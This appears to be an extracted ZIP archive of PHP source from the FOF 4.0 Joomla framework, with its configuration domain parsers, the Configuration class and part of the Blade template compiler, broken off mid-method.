(hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(array &$configuration, string $var, $default = null) { $parts = explode('.', $var); $view = $parts[0]; $method = 'get' . ucfirst($parts[1]); if (!method_exists($this, $method)) { return $default; } array_shift($parts); array_shift($parts); return $this->$method($view, $configuration, $parts, $default); } /** * Internal function to return the task map for a view * * @param string $view The view for which we will be fetching a task map * @param array &$configuration The configuration parameters hash array * @param array $params Extra options (not used) * @param array $default ßDefault task map; empty array if not provided * * @return array The task map as a hash array in the format task => method */ protected function getTaskmap(string $view, array &$configuration, array $params = [], ?array $default = []): ?array { $taskmap = []; if (isset($configuration['views']['*']) && isset($configuration['views']['*']['taskmap'])) { $taskmap = $configuration['views']['*']['taskmap']; } if (isset($configuration['views'][$view]) && isset($configuration['views'][$view]['taskmap'])) { $taskmap = array_merge($taskmap, $configuration['views'][$view]['taskmap']); } if (empty($taskmap)) { return $default; } return $taskmap; } /** * Internal method to return the ACL mapping (privilege required to access * a specific task) for the given view's tasks * * @param string $view The view for which we will be fetching a task map * @param array &$configuration The configuration parameters hash array * @param array $params Extra options; key 0 defines the task we want to fetch * @param string $default Default ACL option; empty (no ACL check) if not defined * * @return string|array The privilege required to access this view */ protected function getAcl(string $view, array &$configuration, array $params = [], ?string $default = '') { $aclmap = []; if (isset($configuration['views']['*']) && isset($configuration['views']['*']['acl'])) { $aclmap = $configuration['views']['*']['acl']; } if (isset($configuration['views'][$view]) && isset($configuration['views'][$view]['acl'])) { $aclmap = array_merge($aclmap, $configuration['views'][$view]['acl']); } $acl = $default; if (empty($params) || empty($params[0])) { return $aclmap; } if (isset($aclmap['*'])) { $acl = $aclmap['*']; } if (isset($aclmap[$params[0]])) { $acl = $aclmap[$params[0]]; } return $acl; } /** * Internal method to return the a configuration option for the view. These * are equivalent to $config array options passed to the Controller * * @param string $view The view for which we will be fetching a task map * @param array & $configuration The configuration parameters hash array * @param array $params Extra options; key 0 defines the option variable we want to fetch * @param string|array|null $default Default option; null if not defined * * @return string|array|null The setting for the requested option */ protected function getConfig(string $view, array &$configuration, array $params = [], $default = null) { $ret = $default; $config = []; if (isset($configuration['views']['*']['config'])) { $config = $configuration['views']['*']['config']; } if (isset($configuration['views'][$view]['config'])) { $config = array_merge($config, $configuration['views'][$view]['config']); } if (empty($params) || empty($params[0])) { return $config; } if (isset($config[$params[0]])) { $ret = $config[$params[0]]; } return $ret; } /** * Internal method to return the toolbar infos. * * @param string $view The view for which we will be fetching buttons * @param array & $configuration The configuration parameters hash array * @param array $params Extra options * @param array|null $default Default option * * @return array|null The toolbar data for this view */ protected function getToolbar(string $view, array &$configuration, array $params = [], ?array $default = []): ?array { $toolbar = []; if (isset($configuration['views']['*']) && isset($configuration['views']['*']['toolbar']) && isset($configuration['views']['*']['toolbar']['*'])) { $toolbar = $configuration['views']['*']['toolbar']['*']; } if (isset($configuration['views']['*']) && isset($configuration['views']['*']['toolbar']) && isset($configuration['views']['*']['toolbar'][$params[0]])) { $toolbar = array_merge($toolbar, $configuration['views']['*']['toolbar'][$params[0]]); } if (isset($configuration['views'][$view]) && isset($configuration['views'][$view]['toolbar']) && isset($configuration['views'][$view]['toolbar']['*'])) { $toolbar = array_merge($toolbar, $configuration['views'][$view]['toolbar']['*']); } if (isset($configuration['views'][$view]) && isset($configuration['views'][$view]['toolbar']) && isset($configuration['views'][$view]['toolbar'][$params[0]])) { $toolbar = array_merge($toolbar, $configuration['views'][$view]['toolbar'][$params[0]]); } if (empty($toolbar)) { return $default; } return $toolbar; } } PK���\o�g0��(fof40/Configuration/Domain/Container.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Configuration\Domain; use SimpleXMLElement; defined('_JEXEC') || die; /** * Configuration parser for the Container-specific settings * * @since 2.1 */ class Container implements DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret): void { // Initialise $ret['container'] = []; // Parse the dispatcher configuration $containerData = $xml->container; // Sanity check if (empty($containerData)) { return; } $options = $xml->xpath('container/option'); foreach ($options as $option) { $key = (string) $option['name']; $ret['container'][$key] = (string) $option; } } /** * Return a configuration variable * * @param string &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(array &$configuration, string $var, $default = null) { if ($var == '*') { return $configuration['container']; } if (isset($configuration['container'][$var])) { return $configuration['container'][$var]; } else { return $default; } } } PK���\!�&��-fof40/Configuration/Domain/Authentication.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Configuration\Domain; use SimpleXMLElement; defined('_JEXEC') || die; /** * Configuration parser for the authentication-specific settings * * @since 2.1 */ class Authentication implements DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret): void { // Initialise $ret['authentication'] = []; // Parse the dispatcher configuration $authenticationData = $xml->authentication; // Sanity check if (empty($authenticationData)) { return; } $options = $xml->xpath('authentication/option'); foreach ($options as $option) { $key = (string) $option['name']; $ret['authentication'][$key] = (string) $option; } } /** * Return a configuration variable * * @param string &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(array &$configuration, string $var, $default = null) { if ($var == '*') { return $configuration['authentication']; } if (isset($configuration['authentication'][$var])) { return $configuration['authentication'][$var]; } else { return $default; } } } PK���\i�B&B&%fof40/Configuration/Domain/Models.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Configuration\Domain; use SimpleXMLElement; defined('_JEXEC') || die; /** * Configuration parser for the models-specific settings * * @since 2.1 */ class Models implements DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret): void { // Initialise $ret['models'] = []; // Parse model configuration $modelsData = $xml->xpath('model'); // Sanity check if (empty($modelsData)) { return; } foreach ($modelsData as $aModel) { $key = (string) $aModel['name']; $ret['models'][$key]['behaviors'] = []; $ret['models'][$key]['behaviorsMerge'] = false; $ret['models'][$key]['tablealias'] = $aModel->xpath('tablealias'); $ret['models'][$key]['fields'] = []; $ret['models'][$key]['relations'] = []; $ret['models'][$key]['config'] = []; // Parse configuration $optionData = $aModel->xpath('config/option'); foreach ($optionData as $option) { $k = (string) $option['name']; $ret['models'][$key]['config'][$k] = (string) $option; } // Parse field aliases $fieldData = $aModel->xpath('field'); foreach ($fieldData as $field) { $k = (string) $field['name']; $ret['models'][$key]['fields'][$k] = (string) $field; } // Parse behaviours $behaviorsData = (string) $aModel->behaviors; $behaviorsMerge = (string) $aModel->behaviors['merge']; if (!empty($behaviorsMerge)) { $behaviorsMerge = trim($behaviorsMerge); $behaviorsMerge = strtoupper($behaviorsMerge); if (in_array($behaviorsMerge, ['1', 'YES', 'ON', 'TRUE'])) { $ret['models'][$key]['behaviorsMerge'] = true; } } if (!empty($behaviorsData)) { $behaviorsData = explode(',', $behaviorsData); foreach ($behaviorsData as $behavior) { $behavior = trim($behavior); if (empty($behavior)) { continue; } $ret['models'][$key]['behaviors'][] = $behavior; } } // Parse relations $relationsData = $aModel->xpath('relation'); foreach ($relationsData as $relationData) { $type = (string) $relationData['type']; $itemName = (string) $relationData['name']; if (empty($type) || empty($itemName)) { continue; } $modelClass = (string) $relationData['foreignModelClass']; $localKey = (string) $relationData['localKey']; $foreignKey = (string) $relationData['foreignKey']; $pivotTable = (string) $relationData['pivotTable']; $ourPivotKey = (string) $relationData['pivotLocalKey']; $theirPivotKey = (string) $relationData['pivotForeignKey']; $relation = [ 'type' => $type, 'itemName' => $itemName, 'foreignModelClass' => empty($modelClass) ? null : $modelClass, 'localKey' => empty($localKey) ? null : $localKey, 'foreignKey' => empty($foreignKey) ? null : $foreignKey, ]; if (!empty($ourPivotKey) || !empty($theirPivotKey) || !empty($pivotTable)) { $relation['pivotLocalKey'] = empty($ourPivotKey) ? null : $ourPivotKey; $relation['pivotForeignKey'] = empty($theirPivotKey) ? null : $theirPivotKey; $relation['pivotTable'] = empty($pivotTable) ? null : $pivotTable; } $ret['models'][$key]['relations'][] = $relation; } } } /** * Return a configuration variable * * @param string &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(array &$configuration, string $var, $default = null) { $parts = explode('.', $var); $view = $parts[0]; $method = 'get' . ucfirst($parts[1]); if (!method_exists($this, $method)) { return $default; } array_shift($parts); array_shift($parts); return $this->$method($view, $configuration, $parts, $default); } /** * Internal method to return the magic field mapping * * @param string $model The model for which we will be fetching a field map * @param array & $configuration The configuration parameters hash array * @param array $params Extra options * @param string|array|null $default Default magic field mapping; empty if not defined * * @return string|array|null Field map */ protected function getField(string $model, array &$configuration, array $params, $default = '') { $fieldmap = []; if (isset($configuration['models']['*']) && isset($configuration['models']['*']['fields'])) { $fieldmap = $configuration['models']['*']['fields']; } if (isset($configuration['models'][$model]) && isset($configuration['models'][$model]['fields'])) { $fieldmap = array_merge($fieldmap, $configuration['models'][$model]['fields']); } $map = $default; if (empty($params[0]) || ($params[0] == '*')) { $map = $fieldmap; } elseif (isset($fieldmap[$params[0]])) { $map = $fieldmap[$params[0]]; } return $map; } /** * Internal method to get model alias * * @param string $model The model for which we will be fetching table alias * @param array $configuration [IN/OUT] The configuration parameters hash array * @param array $params Ignored * @param string|null $default Default table alias * * @return string|null Table alias */ protected function getTablealias(string $model, array &$configuration, array $params = [], ?string $default = null): ?string { $tableMap = []; if (isset($configuration['models']['*']['tablealias'])) { $tableMap = $configuration['models']['*']['tablealias']; } if (isset($configuration['models'][$model]['tablealias'])) { $tableMap = array_merge($tableMap, $configuration['models'][$model]['tablealias']); } if (empty($tableMap)) { return null; } return $tableMap[0]; } /** * Internal method to get model behaviours * * @param string $model The model for which we will be fetching behaviours * @param array & $configuration The configuration parameters hash array * @param array $params Unused * @param array|null $default Default behaviour * * @return array|null Model behaviours */ protected function getBehaviors(string $model, array &$configuration, array $params = [], ?array $default = []): ?array { $behaviors = $default; if (isset($configuration['models']['*']) && isset($configuration['models']['*']['behaviors']) ) { $behaviors = $configuration['models']['*']['behaviors']; } if (isset($configuration['models'][$model]) && isset($configuration['models'][$model]['behaviors']) ) { $merge = false; if (isset($configuration['models'][$model]) && isset($configuration['models'][$model]['behaviorsMerge']) ) { $merge = (bool) $configuration['models'][$model]['behaviorsMerge']; } if ($merge) { $behaviors = array_merge($behaviors, $configuration['models'][$model]['behaviors']); } else { $behaviors = $configuration['models'][$model]['behaviors']; } } return $behaviors; } /** * Internal method to get model relations * * @param string $model The model for which we will be fetching relations * @param array & $configuration The configuration parameters hash array * @param array $params Unused * @param array|null $default Default relations * * @return array|null Model relations */ protected function getRelations(string $model, array &$configuration, array $params = [], ?array $default = []): ?array { $relations = $default; if (isset($configuration['models']['*']) && isset($configuration['models']['*']['relations']) ) { $relations = $configuration['models']['*']['relations']; } if (isset($configuration['models'][$model]) && isset($configuration['models'][$model]['relations']) ) { $relations = $configuration['models'][$model]['relations']; } return $relations; } /** * Internal method to return the a configuration option for the Model. * * @param string $model The view for which we will be fetching a task map * @param array & $configuration The configuration parameters hash array * @param array $params Extra options; key 0 defines the option variable we want to fetch * @param string|array|null $default Default option; null if not defined * * @return string|array|null The setting for the requested option */ protected function getConfig(string $model, array &$configuration, array $params = [], $default = null) { $ret = $default; $config = []; if (isset($configuration['models']['*']['config'])) { $config = $configuration['models']['*']['config']; } if (isset($configuration['models'][$model]['config'])) { $config = array_merge($config, $configuration['models'][$model]['config']); } if (empty($params) || empty($params[0])) { return $config; } if (isset($config[$params[0]])) { $ret = $config[$params[0]]; } return $ret; } } PK���\\6;���)fof40/Configuration/Domain/Dispatcher.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Configuration\Domain; use SimpleXMLElement; defined('_JEXEC') || die; /** * Configuration parser for the dispatcher-specific settings * * @since 2.1 */ class Dispatcher implements DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret): void { // Initialise $ret['dispatcher'] = []; // Parse the dispatcher configuration $dispatcherData = $xml->dispatcher; // Sanity check if (empty($dispatcherData)) { return; } $options = $xml->xpath('dispatcher/option'); foreach ($options as $option) { $key = (string) $option['name']; $ret['dispatcher'][$key] = (string) $option; } } /** * Return a configuration variable * * @param string &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(array &$configuration, string $var, $default = null) { if ($var == '*') { return $configuration['dispatcher']; } if (isset($configuration['dispatcher'][$var])) { return $configuration['dispatcher'][$var]; } else { return $default; } } } PK���\����.fof40/Configuration/Domain/DomainInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Configuration\Domain; use SimpleXMLElement; defined('_JEXEC') || die; /** * The Interface of a FOF configuration domain class. The methods are used to parse and * provision sensible information to consumers. The Configuration class acts as an * adapter to the domain classes. * * @since 2.1 */ interface DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret): void; /** * Return a configuration variable * * @param array &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(array &$configuration, string $var, $default = null); } PK���\�{�p��%fof40/Configuration/Configuration.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Configuration; use FOF40\Container\Container; defined('_JEXEC') || die; /** * Reads and parses the fof.xml file in the back-end of a FOF-powered component, * provisioning the data to the rest of the FOF framework * * @since 2.1 */ class Configuration { /** * Cache of FOF components' configuration variables * * @var array */ public static $configurations = []; /** * The component's container * * @var Container */ protected $container; private $domains = null; function __construct(Container $c) { $this->container = $c; $this->parseComponent(); } /** * Returns the value of a variable. Variables use a dot notation, e.g. * view.config.whatever where the first part is the domain, the rest of the * parts specify the path to the variable. * * @param string $variable The variable name * @param mixed $default The default value, or null if not specified * * @return mixed The value of the variable */ public function get(string $variable, $default = null) { $domains = $this->getDomains(); [$domain, $var] = explode('.', $variable, 2); if (!in_array(ucfirst($domain), $domains)) { return $default; } $class = '\\FOF40\\Configuration\\Domain\\' . ucfirst($domain); /** @var \FOF40\Configuration\Domain\DomainInterface $o */ $o = new $class; return $o->get(self::$configurations[$this->container->componentName], $var, $default); } /** * Gets a list of the available configuration domain adapters * * @return array A list of the available domains */ protected function getDomains(): array { if (is_null($this->domains)) { $filesystem = $this->container->filesystem; $files = $filesystem->folderFiles(__DIR__ . '/Domain', '.php'); if (!empty($files)) { foreach ($files as $file) { $domain = basename($file, '.php'); if ($domain == 'DomainInterface') { continue; } $domain = preg_replace('/[^A-Za-z0-9]/', '', $domain); $this->domains[] = $domain; } $this->domains = array_unique($this->domains); } } return $this->domains; } /** * Parses the configuration of the specified component * * @return void */ protected function parseComponent(): void { if ($this->container->platform->isCli()) { $order = ['cli', 'backend']; } elseif ($this->container->platform->isBackend()) { $order = ['backend']; } else { $order = ['frontend']; } $order[] = 'common'; $order = array_reverse($order); self::$configurations[$this->container->componentName] = []; foreach ([false, true] as $userConfig) { foreach ($order as $area) { $config = $this->parseComponentArea($area, $userConfig); self::$configurations[$this->container->componentName] = array_replace_recursive(self::$configurations[$this->container->componentName], $config); } } } /** * Parses the configuration options of a specific component area * * @param string $area Which area to parse (frontend, backend, cli) * @param bool $userConfig When true the user configuration (fof.user.xml) file will be read * * @return array A hash array with the configuration data */ protected function parseComponentArea(string $area, bool $userConfig = false): array { $component = $this->container->componentName; // Initialise the return array $ret = []; // Get the folders of the component $componentPaths = $this->container->platform->getComponentBaseDirs($component); $filesystem = $this->container->filesystem; $path = $componentPaths['admin']; if (isset($this->container['backEndPath'])) { $path = $this->container['backEndPath']; } // This line unfortunately doesn't work with Unit Tests because JPath depends on the JPATH_SITE constant :( // $path = $filesystem->pathCheck($path); // Check that the path exists if (!$filesystem->folderExists($path)) { return $ret; } // Read the filename if it exists $filename = $path . '/fof.xml'; if ($userConfig) { $filename = $path . '/fof.user.xml'; } if (!$filesystem->fileExists($filename) && !file_exists($filename)) { return $ret; } $data = file_get_contents($filename); // Load the XML data in a SimpleXMLElement object $xml = simplexml_load_string($data); if (!($xml instanceof \SimpleXMLElement)) { return $ret; } // Get this area's data $areaData = $xml->xpath('//' . $area); if (empty($areaData)) { return $ret; } $xml = array_shift($areaData); // Parse individual configuration domains $domains = $this->getDomains(); foreach ($domains as $dom) { $class = '\\FOF40\\Configuration\\Domain\\' . ucfirst($dom); if (class_exists($class, true)) { /** @var \FOF40\Configuration\Domain\DomainInterface $o */ $o = new $class; $o->parseDomain($xml, $ret); } } // Finally, return the result return $ret; } } PK���\��F���)fof40/View/Compiler/CompilerInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Compiler; defined('_JEXEC') || die; interface CompilerInterface { /** * Are the results of this compiler engine cacheable? If the engine makes use of the forcedParams it must return * false. * * @return bool */ public function isCacheable(): bool; /** * Compile a view template into PHP and HTML * * @param string $path The absolute filesystem path of the view template * @param array $forceParams Any parameters to force (only for engines returning raw HTML) * * @return mixed */ public function compile(string $path, array $forceParams = []); /** * Returns the file extension supported by this compiler * * @return string * * @since 3.3.1 */ public function getFileExtension(): string; } PK���\�:vJ�h�hfof40/View/Compiler/Blade.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Compiler; defined('_JEXEC') || die; use FOF40\Container\Container; class Blade implements CompilerInterface { /** * Are the results of this engine cacheable? * * @var bool */ protected $isCacheable = true; /** * The extension of the template files supported by this compiler * * @var string * @since 3.3.1 */ protected $fileExtension = 'blade.php'; /** * All of the registered compiler extensions. * * @var array */ protected $extensions = []; /** * The file currently being compiled. * * @var string */ protected $path; /** * All of the available compiler functions. Each one is called against every HTML block in the template. * * @var array */ protected $compilers = [ 'Extensions', 'Statements', 'Comments', 'Echos', ]; /** * Array of opening and closing tags for escaped echos. * * @var array */ protected $contentTags = ['{{', '}}']; /** * Array of opening and closing tags for escaped echos. * * @var array */ protected $escapedTags = ['{{{', '}}}']; /** * Array of footer lines to be added to template. * * @var array */ protected $footer = []; /** * Counter to keep track of nested forelse statements. * * @var int */ protected $forelseCounter = 0; /** * The FOF container we are attached to * * @var Container */ protected $container; /** * Should I use the PHP Tokenizer extension to compile Blade templates? Default is true and is preferable. We expect * this to be false only on bad quality hosts. It can be overridden with Reflection for testing purposes. * * @var bool */ protected $usingTokenizer = false; public function __construct(Container $container) { $this->container = $container; $this->usingTokenizer = false; if (!function_exists('token_get_all')) { return; } if (!defined('T_INLINE_HTML')) { return; } $this->usingTokenizer = true; } /** * Report if the PHP Tokenizer extension is being used * * @return bool */ public function isUsingTokenizer(): bool { return $this->usingTokenizer; } /** * Are the results of this compiler engine cacheable? If the engine makes use of the forcedParams it must return * false. * * @return bool */ public function isCacheable(): bool { if (defined('JDEBUG') && JDEBUG) { return false; } return $this->isCacheable; } /** * Compile a view template into PHP and HTML * * @param string $path The absolute filesystem path of the view template * @param array $forceParams Any parameters to force (only for engines returning raw HTML) * * @return string The compiled result */ public function compile(?string $path, array $forceParams = []): string { if (empty($path)) { return ''; } $this->footer = []; $fileData = @file_get_contents($path); $this->setPath($path); return $this->compileString($fileData); } /** * Get the path currently being compiled. * * @return string */ public function getPath(): string { return $this->path; } /** * Set the path currently being compiled. * * @param string $path * * @return void */ public function setPath(string $path): void { $this->path = $path; } /** * Compile the given Blade template contents. * * @param string $value * * @return string */ public function compileString(string $value): string { $result = ''; if ($this->usingTokenizer) { // Here we will loop through all of the tokens returned by the Zend lexer and // parse each one into the corresponding valid PHP. We will then have this // template as the correctly rendered PHP that can be rendered natively. foreach (token_get_all($value) as $token) { $result .= is_array($token) ? $this->parseToken($token) : $token; } } else { foreach ($this->compilers as $type) { $value = $this->{"compile{$type}"}($value); } $result .= $value; } // If there are any footer lines that need to get added to a template we will // add them here at the end of the template. This gets used mainly for the // template inheritance via the extends keyword that should be appended. if (count($this->footer) > 0) { $result = ltrim($result, PHP_EOL) . PHP_EOL . implode(PHP_EOL, array_reverse($this->footer)); } return $result; } /** * Compile the default values for the echo statement. * * @param string $value * * @return string */ public function compileEchoDefaults(string $value): string { return preg_replace('/^(?=\$)(.+?)(?:\s+or\s+)(.+?)$/s', 'isset($1) ? $1 : $2', $value); } /** * Register a custom Blade compiler. Using a tag or not changes the behavior of this method when you try to redefine * an existing custom Blade compiler. * * If you use a tag which already exists the old compiler is replaced by the new one you are defining. * * If you do not use a tag, the new compiler you are defining will always be added to the bottom of the list. That * is to say, if another compiler would be matching the same function name (e.g. `@foobar`) it would get compiled by * the first compiler, the one already set, not the one you are defining now. You are suggested to always use a tag * for this reason. * * Finally, note that custom Blade compilers are compiled last. This means that you cannot override a core Blade * compiler with a custom one. If you need to do that you need to create a new Compiler class -- probably extending * this one -- and override the protected compiler methods. Remember to also create a custom Container and override * its 'blade' key with a callable which returns an object of your custom class. * * @param callable $compiler * @param string $tag Optional. Give the callable a tag you can look for with hasExtensionByName * * @return void */ public function extend(callable $compiler, ?string $tag = null) { if (!is_null($tag)) { $this->extensions[$tag] = $compiler; return; } $this->extensions[] = $compiler; } /** * Look if a custom Blade compiler exists given its optional tag name. * * @param string $tag * * @return bool */ public function hasExtension(string $tag): bool { return array_key_exists($tag, $this->extensions); } /** * Remove a custom BLade compiler given its optional tag name * * @param string $tag */ public function removeExtension(string $tag): void { if (!$this->hasExtension($tag)) { return; } unset ($this->extensions[$tag]); } /** * Get the regular expression for a generic Blade function. * * @param string $function * * @return string */ public function createMatcher(string $function): string { return '/(?<!\w)(\s*)@' . $function . '(\s*\(.*\))/'; } /** * Get the regular expression for a generic Blade function. * * @param string $function * * @return string */ public function createOpenMatcher(string $function): string { return '/(?<!\w)(\s*)@' . $function . '(\s*\(.*)\)/'; } /** * Create a plain Blade matcher. * * @param string $function * * @return string */ public function createPlainMatcher(string $function): string { return '/(?<!\w)(\s*)@' . $function . '(\s*)/'; } /** * Sets the escaped content tags used for the compiler. * * @param string $openTag * @param string $closeTag * * @return void */ public function setEscapedContentTags(string $openTag, string $closeTag): void { $this->setContentTags($openTag, $closeTag, true); } /** * Gets the content tags used for the compiler. * * @return array */ public function getContentTags(): array { return $this->getTags(); } /** * Sets the content tags used for the compiler. * * @param string $openTag * @param string $closeTag * @param bool $escaped * * @return void */ public function setContentTags(string $openTag, string $closeTag, bool $escaped = false): void { $property = $escaped ? 'escapedTags' : 'contentTags'; $this->{$property} = [preg_quote($openTag), preg_quote($closeTag)]; } /** * Gets the escaped content tags used for the compiler. * * @return array */ public function getEscapedContentTags(): array { return $this->getTags(true); } /** * Returns the file extension supported by this compiler * * @return string * * @since 3.3.1 */ public function getFileExtension(): string { return $this->fileExtension; } /** * Parse the tokens from the template. * * @param array $token The token definition as an array of shape [tokenID, content]. * * @return string */ protected function parseToken(array $token): string { [$id, $content] = $token; if ($id == T_INLINE_HTML) { foreach ($this->compilers as $type) { $content = $this->{"compile{$type}"}($content); } } return $content; } /** * Execute the user defined extensions. * * @param string $value * * @return string */ protected function compileExtensions(string $value): string { foreach ($this->extensions as $compiler) { $value = call_user_func($compiler, $value, $this); } return $value; } /** * Compile Blade comments into valid PHP. * * @param string $value * * @return string */ protected function compileComments(string $value): string { $pattern = sprintf('/%s--((.|\s)*?)--%s/', $this->contentTags[0], $this->contentTags[1]); return preg_replace($pattern, '<?php /*$1*/ ?>', $value); } /** * Compile Blade echos into valid PHP. * * @param string $value * * @return string */ protected function compileEchos(string $value): string { $difference = strlen($this->contentTags[0]) - strlen($this->escapedTags[0]); if ($difference > 0) { return $this->compileEscapedEchos($this->compileRegularEchos($value)); } return $this->compileRegularEchos($this->compileEscapedEchos($value)); } /** * Compile Blade Statements that start with "@" * * @param string $value * * @return mixed */ protected function compileStatements(string $value): string { return preg_replace_callback('/\B@(\w+)([ \t]*)(\( ( (?>[^()]+) | (?3) )* \))?/x', [ $this, 'compileStatementsCallback', ], $value); } /** * Callback for compileStatements, since $this is not allowed in Closures under PHP 5.3. * * @param $match * * @return string */ protected function compileStatementsCallback(array $match): string { if (method_exists($this, $method = 'compile' . ucfirst($match[1]))) { $match[0] = $this->$method(array_get($match, 3)); } return isset($match[3]) ? $match[0] : $match[0] . $match[2]; } /** * Compile the "regular" echo statements. * * @param string $value * * @return string */ protected function compileRegularEchos(string $value): string { $pattern = sprintf('/(@)?%s\s*(.+?)\s*%s(\r?\n)?/s', $this->contentTags[0], $this->contentTags[1]); return preg_replace_callback($pattern, [$this, 'compileRegularEchosCallback'], $value); } /** * Callback for compileRegularEchos, since $this is not allowed in Closures under PHP 5.3. * * @param array $matches * * @return string */ protected function compileRegularEchosCallback(array $matches): string { $whitespace = empty($matches[3]) ? '' : $matches[3] . $matches[3]; return $matches[1] ? substr($matches[0], 1) : '<?php echo ' . $this->compileEchoDefaults($matches[2]) . '; ?>' . $whitespace; } /** * Compile the escaped echo statements. * * @param string $value * * @return string */ protected function compileEscapedEchos(string $value): string { $pattern = sprintf('/%s\s*(.+?)\s*%s(\r?\n)?/s', $this->escapedTags[0], $this->escapedTags[1]); return preg_replace_callback($pattern, [$this, 'compileEscapedEchosCallback'], $value); } /** * Callback for compileEscapedEchos, since $this is not allowed in Closures under PHP 5.3. * * @param array $matches * * @return string */ protected function compileEscapedEchosCallback(array $matches): string { $whitespace = empty($matches[2]) ? '' : $matches[2] . $matches[2]; return '<?php echo $this->escape(' . $this->compileEchoDefaults($matches[1]) . '); ?>' . $whitespace; } /** * Compile the each statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEach(?string $expression): string { return "<?php echo \$this->renderEach{$expression}; ?>"; } /** * Compile the yield statements into valid PHP. * * @param string $expression * * @return string */ protected function compileYield(?string $expression): string { return "<?php echo \$this->yieldContent{$expression}; ?>"; } /** * Compile the show statements into valid PHP. * * @param string $expression * * @return string */ protected function compileShow(?string $expression = ''): string { return "<?php echo \$this->yieldSection(); ?>"; } /** * Compile the section statements into valid PHP. * * @param string $expression * * @return string */ protected function compileSection(?string $expression): string { return "<?php \$this->startSection{$expression}; ?>"; } /** * Compile the append statements into valid PHP. * * @param string $expression * * @return string */ protected function compileAppend(?string $expression): string { return "<?php \$this->appendSection(); ?>"; } /** * Compile the end-section statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndsection(?string $expression): string { return "<?php \$this->stopSection(); ?>"; } /** * Compile the stop statements into valid PHP. * * @param string $expression * * @return string */ protected function compileStop(?string $expression): string { return "<?php \$this->stopSection(); ?>"; } /** * Compile the overwrite statements into valid PHP. * * @param string $expression * * @return string */ protected function compileOverwrite(?string $expression): string { return "<?php \$this->stopSection(true); ?>"; } /** * Compile the unless statements into valid PHP. * * @param string $expression * * @return string */ protected function compileUnless(?string $expression): string { return "<?php if ( ! $expression): ?>"; } /** * Compile the end unless statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndunless(?string $expression): string { return "<?php endif; ?>"; } /** * Compile the end repeatable statements into valid PHP. * * @param string $expression * * @return string */ protected function compileRepeatable(?string $expression): string { $expression = trim($expression, '()'); $parts = explode(',', $expression, 2); $functionName = '_fof_blade_repeatable_' . md5($this->path . trim($parts[0])); $argumentsList = $parts[1] ?? ''; return "<?php @\$$functionName = function($argumentsList) { ?>"; } /** * Compile the end endRepeatable statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndRepeatable(?string $expression): string { return "<?php }; ?>"; } /** * Compile the end yieldRepeatable statements into valid PHP. * * @param string $expression * * @return string */ protected function compileYieldRepeatable(?string $expression): string { $expression = trim($expression, '()'); $parts = explode(',', $expression, 2); $functionName = '_fof_blade_repeatable_' . md5($this->path . trim($parts[0])); $argumentsList = $parts[1] ?? ''; return "<?php \$$functionName($argumentsList); ?>"; } /** * Compile the lang statements into valid PHP. * * @param string $expression * * @return string */ protected function compileLang(?string $expression): string { return "<?php echo \\Joomla\\CMS\\Language\\Text::_$expression; ?>"; } /** * Compile the sprintf statements into valid PHP. * * @param string $expression * * @return string */ protected function compileSprintf(?string $expression): string { return "<?php echo \\Joomla\\CMS\\Language\\Text::sprintf$expression; ?>"; } /** * Compile the plural statements into valid PHP. * * e.g. @plural('COM_FOOBAR_N_ITEMS_SAVED', $countItemsSaved) * * @param string $expression * * @return string * @see Text::plural() * */ protected function compilePlural(?string $expression): string { return "<?php echo 